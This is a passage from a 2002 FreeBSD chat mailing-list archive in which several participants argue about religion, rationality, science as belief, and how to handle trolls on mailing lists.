stylin, let's hook up and score some babes". Scholars would have a field day attempting to determine just what I meant. We are faced with the same dilemna trying to interpret words which had idiomatic meanings and content way back then that are lost now. Secondly, and more importantly, those words were designed for the people of those ages to help them grow. To presume one and only one set of words works for everyone of all ages, times, races, cultures, and backgrounds is really naive. Each time, place, and person needs the set of words which will help them at that moment. These words are not known until that moment arrives. > I reject the idea that because people have different > interpretations, the conclusion is warranted that nobody has the > correct interpretation. In my view, there is no correct interpretation as our minds can understand it. We will have to agree to disagree. ;) > What you suggest above sounds really pious, Piety is never an end in itself. It comes from operating in a certain manner. ;) > but in the end it leads to confusion, because then you get new cults > forming from every new crack-pot interpretation that comes along. And cults are bad, therefore there is only one interpretation? ;) > As to why we shouldn't sin, the answer is that it is wrong to sin. > The fact that we are unable to not sin does not change that. This > is the fallen state of man, and the reason he needs a savior. Were > he able to stop sinning, no savior would be necessary. That is why > Jesus said that a man who sins is a slave to sin. Sin is that > powerful. In my "worldview", sin would not exist without it's counterpart, Not-Sinning. The real sin is that we classify actions into Sinning and Not-Sinning. ;) There really is only one difference between a sacred being and an evil being. >> In fact, there's another meaning here, and that has to do with what >> "righteousness" is and why it's useless to be in that state (I do it >> above). It's not saying "you are a sinner" per se. It's explaining >> the uselessness of righteous behavior. This behavior has to be >> overcome as a stepping stone on the path to being one with the >> universe. > > Here you are doing what in Biblical interpretation is called > "eisogesis", reading into the text what you want to take out of > it. Just because you give it a fancy name doesn't mean it's true. ;) I don't -want- to take anything out of it, so the premise is inapplicable. >> Zen masters merely try to shut off your brain for you, if you can do >> that then righteous behavior will shut off at the same time. > > And you find this philosophically and ethically defensible? I'm not trying to defend it. It's not being attacked is it? > Without any standards of righteousness, there can be no > non-excusable acts which you referred to earlier. You are presuming that removing the standards will cause man to react by freely participating in orgy after orgy of sin. That's not the case, and if it becomes the case then you haven't really removed the standards. Go read Rev 2:12-17 and get your white stone already. The way it works is this: until we get past righteousness, we come no closer to God. Don't look at me, I didn't make this rule. ;) >> > I really think you are deceiving yourself if you think you are >> > not also deeply entrenched in assumptions. >> >> I don't think that I am not deeply entrenched in assumptions, how >> else could I be communicating here? ;) But, alas, even that is an >> assumption. > > I'm not much impressed with skepticism. I'm not trying to impress you. ;) > But since you admit that it is impossible to not have assumptions (I > prefer the term "presuppositions"), haven't you ever considered that > there may be a set of presuppositions which are in fact the correct > presuppositions to hold? Yes, and I've also considered the fact that there are sets of presuppositions which will prevent you from effectively seeing the truth. Since I have always been a seeker after truth, I choose not to hold any (and man is that hard). >> > Everybody has them, and they are very important. The trick is in >> > adopting the *right* assumptions. >> >> Are you being righteous? ;) How do you know which assumptions are the >> right ones? "For all have sinned, and come short of the glory of >> God". > > I make no claim to being righteous. Were it not for God's grace, > I would be in much the same situation as you. And think you I am not aware of God's grace? Tsk. ;) >> > The question to be asked is what presuppositions are >> > transcendentally necessary for experience to be meaningful at all. >> > The reason that both of you are so difficult to argue with is that >> > neither of you seem to think anything is meaningful. >> >> I'll admit, to me this is all a dream. Controlled folly this all is. > > On the other hand, you don't live that way. So say you. > You live as though there is a distinction between dreaming and being > awake. Actually there is. It's which dream I choose to focus on at the moment. I think you misunderstand me, which is not bad. > You get out of bed, go to work, pay the bills, etc. Your > actions falsify what you say you believe. Again, I don't believe anything. Either I know it, I do not know it, I cannot know it, or for the sake of getting things done I'll adopt some faith. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< The coin lost in the river is to be retrived from the river. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 0: 0:39 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3CA5537B400 for ; Thu, 5 Sep 2002 00:00:34 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id B4D0543E4A for ; Thu, 5 Sep 2002 00:00:33 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g8570V189944; Thu, 5 Sep 2002 00:00:31 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209050700.g8570V189944@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Neal E. Westfall" Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 00:00:26 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Neal E Westfall writes: > This brings up an interesting question. Is it rational to attempt > to argue with someone who denies rationality? Only if you don't want to risk your charter membership in the "rational" club. ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< It's easy to sit there and say you'd like to have more money. And I guess that's what I like about it. It's easy. Just sitting there, rocking back and forth, wanting that money. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 0: 2:33 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 66C7F37B400 for ; Thu, 5 Sep 2002 00:02:30 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id EA7BB43E3B for ; Thu, 5 Sep 2002 00:02:29 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g8572S190003; Thu, 5 Sep 2002 00:02:28 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209050702.g8572S190003@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Neal E. Westfall" Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 00:02:23 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Neal E Westfall writes: > On Wed, 4 Sep 2002, Dave Hayes wrote: >> Neal E Westfall writes: >> > Basically, its not that "God" cannot be rationally proven as much as >> > the fact that without God, nothing could be proven at all. Hence, >> > God is proven from the impossibility of the contrary. It is >> > unreasonable to reject that which is the foundation for everything >> > else. >> >> The fact that a proof either way is necessary, and takes precedence >> over the obvious and observable, is how Mankind got -into- this mess in >> the first place. ;) > > I never said that proof was *necessary*, at least not from a logical > standpoint. But given that man is in intellectual darkness and > attempts to "suppress the truth in unrighteousness" it becomes > necessary to remove self-imposed stumbling blocks that prevent him > from seeing the truth. ;-) This implies that man can see the stumbling blocks in order to remove them. Typically the first thing that has to be done is to teach man a course in sight, before man can see the stumbling blocks man has to remove. Then the question becomes how to remove them. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< There is a saying: "I believe it because it is impossible" If you make any study of people in a state of what they are pleased to call belief, you will find that you can usually best describe them by the saying: "My belief has made me impossible." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 0: 3:33 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6B97037B400 for ; Thu, 5 Sep 2002 00:03:29 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1828043E72 for ; Thu, 5 Sep 2002 00:03:28 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g8573Q190030; Thu, 5 Sep 2002 00:03:26 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209050703.g8573Q190030@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Neal E. Westfall" Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 00:03:21 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Neal E Westfall writes: >> > Guess what: Christianity accounts for this fact as well. >> >> I bet you the Buddhists, Muslims, and Scientologists, would hotly >> debate this. > > Why should they bother? Entertainment? >> Personally, I think you are all right and wrong at the same time. > Yet you still eat when you get hungry. 8-) Not always. =( ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Ask the American public if they want an FBI Wiretax and they'll say 'no.' If you ask them do they want a feature on their phone that helps the FBI find their missing child they'll say, 'Yes.'" - FBI Directory Louis Freeh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 0:24:59 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5ABA537B400 for ; Thu, 5 Sep 2002 00:24:43 -0700 (PDT) Received: from gull.mail.pas.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84]) by mx1.FreeBSD.org (Postfix) with ESMTP id B081D43E65 for ; Thu, 5 Sep 2002 00:24:42 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0151.cvx22-bradley.dialup.earthlink.net ([209.179.198.151] helo=mindspring.com) by gull.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mr0E-0000nJ-00; Thu, 05 Sep 2002 00:24:34 -0700 Message-ID: <3D77066D.99BA488B@mindspring.com> Date: Thu, 05 Sep 2002 00:23:25 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209050609.g8569e189500@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > Terry Lambert writes: > > The creatures don't adapt or not adapt; they are born with the > > necessary survival characteristics, or they are not. If they > > are not, they die. If they are, they survive to propagate the > > genes which express as those characteristics. > > That explanation makes more sense than "the environment chooses". The environment is an actor, in this case. > >> Gah. What if the problem is dynamic? > > > > The method works anyway. > > > >> What if the problem mutates? > > > > Then you reanalyze it. > > > >> What if your classification was in error? > > > > Then you start over. > > All the while believing that your methodology must work for any > problem.... Hasn't not worked yet... ;^). > > As long as it only restricts it to the charter, I have no problem > > with it. If I want to go outside the charter, I take the discussion > > elsewhere. > > The charter is an attempt to classify posts. I claim posts defy > classification except for trivial cases. I claim that posts which defy classification are outside the charter, unless they are explicitly included within it. 8-). > > I'm also forcing that verifiable identity to obtain a limited > > time permission in order to post -- a lease -- which must be > > renewed to permit continued posting. > > > > This permits a feedback mechanism -- whatever mechanism the > > list membership consensually decides is appropriate -- to be > > used to enforce against continued abuse of the list. You are > > a SPAM'mer, and your identity loses posting rights. You are a > > troll, and your identity loses posting rights. Etc.. > > This extends to "we don't like you, your identity loses posting > rights". That's one possible abuse, yes. As I said, the solution has the ability to be abused. Another is that you make a statement about Lord Vader, and the Imperial Storm Troopers kick in your door because the post is nonrepudiable. On the other hand, you are not offering a definitive solution to the problem, which is less prone to abuse, and which does not transfer the onus of extra work onto the reader. This is an onus which you, yourself, admitted that even avowed fanatics (like yourself ;^)) have a very hard time implementing effectively. It's an unworkable "solution". > >> Define "the right peeps". Whatever group it is, I don't belong, > >> period. I've walked the line between many classified groups ever since > >> I was born. > > > > People who call themselves scientists, but who don't walk the > > walk. > > Yet I don't worship that religion. ;) It's still not a religion, and repeating endlessly the accusation will not make it one. > >> See? You aren't willing to think out of the box, or to critically > >> examine the concept. You dismiss it out of hand because of your > >> classifications. > > > > I dismiss it because it is a flawed analogy. Come up with a > > valid analogy, and I won't dismiss it. > > What standards of "valid" are you using here? One which allows the problem space to be commutatively transformed into a representation, with no loss of information. > > Your assumption about what happens when you sample something whose > > frequency is higher than the sample rate being similar to what > > happens when you set V > C in a Lorentz transformation is incorrect, > > because there is not equal symmetry around the centerpoint. > > It's not exact, but similar. The same kinds of things happen. The frequency of the sampled waveform does not converge to the sampling rate; it converges to a harmonic proportional to the modulus of the sampled waveform relative to the sample rate. In the Lorents transformation, the convergence is to the speed of light. > More to the point, you are unwilling to -consider- the idea and > investigate it futher. You merely dismiss it with a wave of your > "invalid" hand. This is not unlike the scientists I have been > around. Hardly. This issue was covered in great detail during my analytical mechanics course's section on accoustics, and again, in a class on information theory. The Lorentz transformation was covered in gory detail in my modern physics course. It is really only proper to analogize when the mathematical representations of the situations in question, when stripped of their units, end up with the same mathematical descriptions. > >> > Never test for an error condition you don't know how to handle. > >> > -- Steinbach > >> > >> How do you know you can handle it before you get it? > > > > What does your program do, when it can't read the file, but your > > process has sufficient priviledge to change the access controls > > on the file to permit it to be read by your program? > > Assume there must be a good reason someone denied read privleges > and exit with an error message to that effect. =) I haven't given enough information about the problem space for you to conclude that that's the correct answer. That's *an* answer, but it's not necessarily *the* answer. > >> >> Sometimes, a model that doesn't "academically work" can still > >> >> "practically work". > >> > "Finger quotes"?!? > >> > >> Eh? > > > > The use of ``"practically work"'' instead of ``practically work'' > > says that you were attempting to imply a non-traditional meaning. > > "Does it"? ;) Yes. It does. It provides you enough leeway to claim that what you said is not what you meant, so that you don't actually ever have to defend your statements. It's a technique people use to avoid defending their statements, particularly when they know they are wrong. > > If you can identify the trolls, you can in fact, find a modular > > space in which there is a manifold dividing the space, with all > > the trolls on one side of the manifold, and everyone else on the > > other. > > > > Then you can apply a simple binary "trollness" test. > > What works in the mathematical domain may not translate properly > to the domain of mailing lists and human interaction. Why not, when human interactions can be repsented by the mathematics of game theory? It's hubris to claim that human behaviour cannot be mathematically modelled, particularly when you mean "because I can't do it, no one can do it". > > It has nothing whatsoever to do with "orthogonalizing -all- aspects > > of life". > > I observe that people who attempt solutions of this manner consistently > tend to attempt life orthogonalization, most amusingly where life cannot > be handled thus. That is a different topic, and it's irrelevent to the discussion at hand. > > Nevertheless, I will continue to use such manners of investigation, > > so long as they continue to yield highly accurate predictive > > models. 8-). > > What if your observational equipment is filtered by a need to be > correct? Then all your models will look correct to you, especially > if you filter out the data that might contradict your findings. Predictive ability is the measure of correctness. It is therefore empirically falsifiable. > >> Statistical arguments are generally inconclusive. They are hard > >> to accept unless you can guarantee a bunch of hard to guarantee > >> things about the evidence. > > > > I disagree. Perhaps what you feel is hard and what I feel is > > hard are two different things. > > Hmm, clearly I chose the wrong word. I'll put it this way: typical > methods for gathering statistical data have a insufficiently large > sample space and a woefully inadequate method of assuring random > selection. Then there's the interference from attempting to observe > the phenomena. Then use atypical methods, without this perceived flaw. Problem solved. 8-). > > By not making it "your own sandbox", you failed to put a border > > between your society and Tim's. The result was predictable. > > I can assure you that my current border is overcompensatingly > impenetrable. ;) This is exactly the behaviour you decry in others. It differs only in implementation. > >> Just look. -You- want to spend a lot of time and energy devising > >> secure identified email or coming up with who knows what just so that > >> the laziness of humanity can prevail over common sense. > > > > Hardly. I want common sense to prevail. But the trolls refuse > > to exhibit it. > > If you (and others) would just exhibit it, it wouldn't matter whether > they did. IYO. It's amazing to me that you believe you have The One True Answer(tm), and to accept this bald-ass claim of yours without any tangible evidence or even a prrof-of-concept implementation which exhibits the properties you claim such a solution will have. > >> Maybe so, but they sure lose a lot of distinction in the process. > >> Also, however correct you are, the people -in- the society > >> don't seem to agree with this. They tend to percieve them as one. > > > > That's why I keep suggesting that the "laws of physics" need to > > be built into the the pathways, rather than externally imposed. > > You keep arguing that internal imposition won't work. Fine. Take > > that as a working hypothesis, and impose the rules externally > > instead. > > Bah. I don't think any rules will "work". I don't have faith in > purely scientific methods to come up with a solution. I think the > only way out is to wait for people to grow up. Find a way of forcing that. I dare you. In fact, I double-dog dare you. 8-). > >> They got to ya then. ;) It would appear you are at least somewhat > >> worried about the list being shut down by trolls. If that's true, > >> they've managed to win the first round. > > > > Hardly. Their goal and their actual ability to achieve it are > > very different things. > > But they have you worried, oh he who's reality is expressible as > a mathematically consistent and well-defined space. ;) They do not have me worried. But they do very nearly have me engaged in the implementation of a map of what I perceive to be the solution space. Frankly, I do not worry about problems; I solve them. > > It's OK. We'll lock them up and prevent their genes from > > propagating. > > And then you'll discover they have a necessary component to a survival > trait we need. Then we'll die out as a species, and the problem will still be solved. 8-). > >> And your boss can fire you and assign another reporter, yes. > > > > Not really. I will be giving the boss what he wants: viewers; > > how many people have actually *read* "The Unibomber Manifesto" > > (or "The GNU Manifesto")? A circus doesn't have to have a plot. > > But it needs performers. You don't think I'd actually go so far > as to do that and not have some act going at the same time? A good example is the lack of claimants for the events of September 11th. Without someone claiming responsibility, there is no chance of those responsible achieving their goals as a result of the action. It's only in the case that there is: o A clear demonstration of the lengths to which they are willing to go o A threat of a repeat performance o Demands, offered in trade for inaction that terrorism has any net effect toward achieving the goals of the terrorist. Without that, however -- without your putative "performers" -- there was still significant news coverage, with significant national and international viewership. Thus achieving the goals fo the television networks providing the coverage. > >> Starting with the obvious, Someone feels threatened by FreeBSD. > > > > I'll grant that. We got that the first time they posted. They've > > posted more than once. What *new* information was present in each > > subsequent posting, which was not present in previous postings? > > Why is this important? It speaks to motive. Again, without demands, there is no redeeming value in socially disruptive actions. > >> >> Maybe this response is "Hey, friend..."? (Ok, so that's -my- utopia, > >> >> not yours.) > >> > > >> > Hey, if it worked... but it wouldn't. > >> > >> It's worked for me in the past. I wouldn't call it reliable, but then > >> again...to do this one you have to be impeccably appropriate. > > > > So it worked with Tim, did it? > > For a while it did, but his ego couldn't bear the interaction. So that's "No", right? 8-) 8-). > >> > Not long. You have filters, right? > >> > >> Yes. I still have trouble keeping up with it all. > > > > Yet you expect people not dedicated to your ideal to keep up, > > even when you, a dedicated person, can not? > > I don't expect them to keep up even if trolls were wiped from the > face of the plannet. "Keeping up" is a larger issue than trolls, > so much larger that trolls (even a group of determined ones) are > largely irrelevant to the big picture. Then let's subtract them from the picture, and concentrate on the big issues. 8-). > > Hardly. Topicality is not arbitrary, even if choices about the > > content of the charter are. > > Topicality is subjective and rarely well-defined enough not to have > posts that are on the edge. It would be nice if you would prove that claim, so that it's possible to agree with you. QuickDraw (the Macintosh rendering subsystem) had the same issue, with line rendering. The solution was to use an intersticial coordinate space. > >> > Mailing lists are push model. They are not Usenet. Stop pretending > >> > they are. > >> > >> The distinction is irrelevant in this case. Functionally, they are the > >> same thing, just on different scales. > > > > Wrong. The distiction is critical. It defined the tipping point. > > Not for high traffic lists. Freebsd-hackers feels like a 1987ish > usenet group. Your sense of nostalgia doesn't make it something it's not. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 0:26:47 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A907137B400 for ; Thu, 5 Sep 2002 00:26:44 -0700 (PDT) Received: from gull.mail.pas.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6990543E4A for ; Thu, 5 Sep 2002 00:26:44 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0151.cvx22-bradley.dialup.earthlink.net ([209.179.198.151] helo=mindspring.com) by gull.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mr2I-0001yl-00; Thu, 05 Sep 2002 00:26:43 -0700 Message-ID: <3D7706EE.AC38CEBF@mindspring.com> Date: Thu, 05 Sep 2002 00:25:34 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209050614.g856Ek189534@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > >> > You're not held hostage to their choices. Feel free to subscribe > >> > to other lists as well. > >> > >> So I can return to a hostage state? No thanks. > > > > I fail to see how this returns you to a hostage state > > That's because -you- are not -me-. No, it's because you won't defend your statements when they appear to break down. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 0:27:56 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5D9C937B400 for ; Thu, 5 Sep 2002 00:27:54 -0700 (PDT) Received: from gull.mail.pas.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1EF1743E42 for ; Thu, 5 Sep 2002 00:27:54 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0151.cvx22-bradley.dialup.earthlink.net ([209.179.198.151] helo=mindspring.com) by gull.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mr3Q-0002co-00; Thu, 05 Sep 2002 00:27:53 -0700 Message-ID: <3D770734.5AA3103@mindspring.com> Date: Thu, 05 Sep 2002 00:26:44 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209050615.g856Fw189567@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > >> I'll admit, to me this is all a dream. Controlled folly this all is. > >> > >> Getting Terry to admit that would be...difficult. ;) > > > > Very. IMO, everything is fraught with meaning. > > What is the meaning of all this meaning? ;) Data is not information. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 1:38:30 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9CF6A37B400 for ; Thu, 5 Sep 2002 01:38:11 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4F7CD43E72 for ; Thu, 5 Sep 2002 01:38:10 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g858c3190658; Thu, 5 Sep 2002 01:38:03 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209050838.g858c3190658@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 01:37:58 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> Terry Lambert writes: >> > The creatures don't adapt or not adapt; they are born with the >> > necessary survival characteristics, or they are not. If they >> > are not, they die. If they are, they survive to propagate the >> > genes which express as those characteristics. >> >> That explanation makes more sense than "the environment chooses". > > The environment is an actor, in this case. Never is the environment an actor. >> >> Gah. What if the problem is dynamic? >> > >> > The method works anyway. >> > >> >> What if the problem mutates? >> > >> > Then you reanalyze it. >> > >> >> What if your classification was in error? >> > >> > Then you start over. >> >> All the while believing that your methodology must work for any >> problem.... > > Hasn't not worked yet... ;^). Of course not, for you believe it to work and it does...for you. It's impossible for strict rationalists to see that as they are "convinced" of something, it becomes real to them. They think they are perceiving the "true reality", when all they are doing is making their reality agree with how they are convinced it works. >> > As long as it only restricts it to the charter, I have no problem >> > with it. If I want to go outside the charter, I take the discussion >> > elsewhere. >> >> The charter is an attempt to classify posts. I claim posts defy >> classification except for trivial cases. > > I claim that posts which defy classification are outside the > charter, unless they are explicitly included within it. 8-). I claim that posts which defy classification are INside the charter, unless they are explicitly EXcluded from it. =P > On the other hand, you are not offering a definitive solution to > the problem, which is less prone to abuse, and which does not > transfer the onus of extra work onto the reader. Even if I offered one, you would not let it be one. > This is an onus which you, yourself, admitted that even avowed > fanatics (like yourself ;^)) have a very hard time implementing > effectively. It's an unworkable "solution". But it doesn't bug me like it bugs you. It's not a problem to me, until it results in moderation, which is a problem in itself. >> >> Define "the right peeps". Whatever group it is, I don't belong, >> >> period. I've walked the line between many classified groups ever since >> >> I was born. >> > >> > People who call themselves scientists, but who don't walk the >> > walk. >> >> Yet I don't worship that religion. ;) > > It's still not a religion, Yes it is. > and repeating endlessly the accusation will not make it one. True, yet berating the accusation as an endless repetition will not make it -not- one. >> >> See? You aren't willing to think out of the box, or to critically >> >> examine the concept. You dismiss it out of hand because of your >> >> classifications. >> > >> > I dismiss it because it is a flawed analogy. Come up with a >> > valid analogy, and I won't dismiss it. >> >> What standards of "valid" are you using here? > > One which allows the problem space to be commutatively transformed > into a representation, with no loss of information. You lose information in every representation you make about humanity. So you are doomed. >> More to the point, you are unwilling to -consider- the idea and >> investigate it futher. You merely dismiss it with a wave of your >> "invalid" hand. This is not unlike the scientists I have been >> around. > > Hardly. This issue was covered in great detail during my analytical > mechanics course's section on accoustics, and again, in a class on > information theory. The Lorentz transformation was covered in gory > detail in my modern physics course. You've verified each and every one of these "issues", that you do not have false data? > It is really only proper to analogize when the mathematical > representations of the situations in question, when stripped > of their units, end up with the same mathematical descriptions. I claim this is just fancy justifia for your not being willing to consider something that contradicts your tenets of reality. Hence, as I see it, you aren't really a critical thinker. It's this kind of out-of-hand dismissing which is why I consider science a religion, and why I think I'm hangin with the right peeps. >> >> > Never test for an error condition you don't know how to handle. >> >> > -- Steinbach >> >> >> >> How do you know you can handle it before you get it? >> > >> > What does your program do, when it can't read the file, but your >> > process has sufficient priviledge to change the access controls >> > on the file to permit it to be read by your program? >> >> Assume there must be a good reason someone denied read privleges >> and exit with an error message to that effect. =) > > I haven't given enough information about the problem space for > you to conclude that that's the correct answer. That's *an* > answer, but it's not necessarily *the* answer. There is no "the" answer. The assumption that a "the" answer must exist and conform to some arbitrary standard is what makes a religion. >> >> >> Sometimes, a model that doesn't "academically work" can still >> >> >> "practically work". >> >> > "Finger quotes"?!? >> >> >> >> Eh? >> > >> > The use of ``"practically work"'' instead of ``practically work'' >> > says that you were attempting to imply a non-traditional meaning. >> >> "Does it"? ;) > > Yes. It does. It provides you enough leeway to claim that what > you said is not what you meant, so that you don't actually ever > have to defend your statements. I use quotes to refrain from getting into "semantical" arguments about what something really "meant", particularly with people that "presume" there is only one "meaning" to every word or phrase. ;) If I am defending statements, then someone must be attacking. Are you? > It's a technique people use to avoid defending their statements, > particularly when they know they are wrong. Go ahead and consider me wrong then. That way you can ignore me, and never see what I am saying. >> > If you can identify the trolls, you can in fact, find a modular >> > space in which there is a manifold dividing the space, with all >> > the trolls on one side of the manifold, and everyone else on the >> > other. >> > >> > Then you can apply a simple binary "trollness" test. >> >> What works in the mathematical domain may not translate properly >> to the domain of mailing lists and human interaction. > > Why not, when human interactions can be repsented by the > mathematics of game theory? Why do I keep thinking I am reading Asimov when I am talking to you? > It's hubris to claim that human behaviour cannot be mathematically > modelled, particularly when you mean "because I can't do it, no one > can do it". No, I don't claim you can't. I don't even claim I can't or can. I'd claim you are using mathematics to obscure the real perceptor in you that predicts human behavior, but then I'm having to "defend" that claim because of course it will be "attacked". This turns around and lends credence to your game-theory perception of human interaction. It's not worth it. I'll just have to wait until some aspect of the real world that you can't model comes up and smacks you over the head. Then I can either a) get ego-gratification by saying "I tried to tell you" or b) say 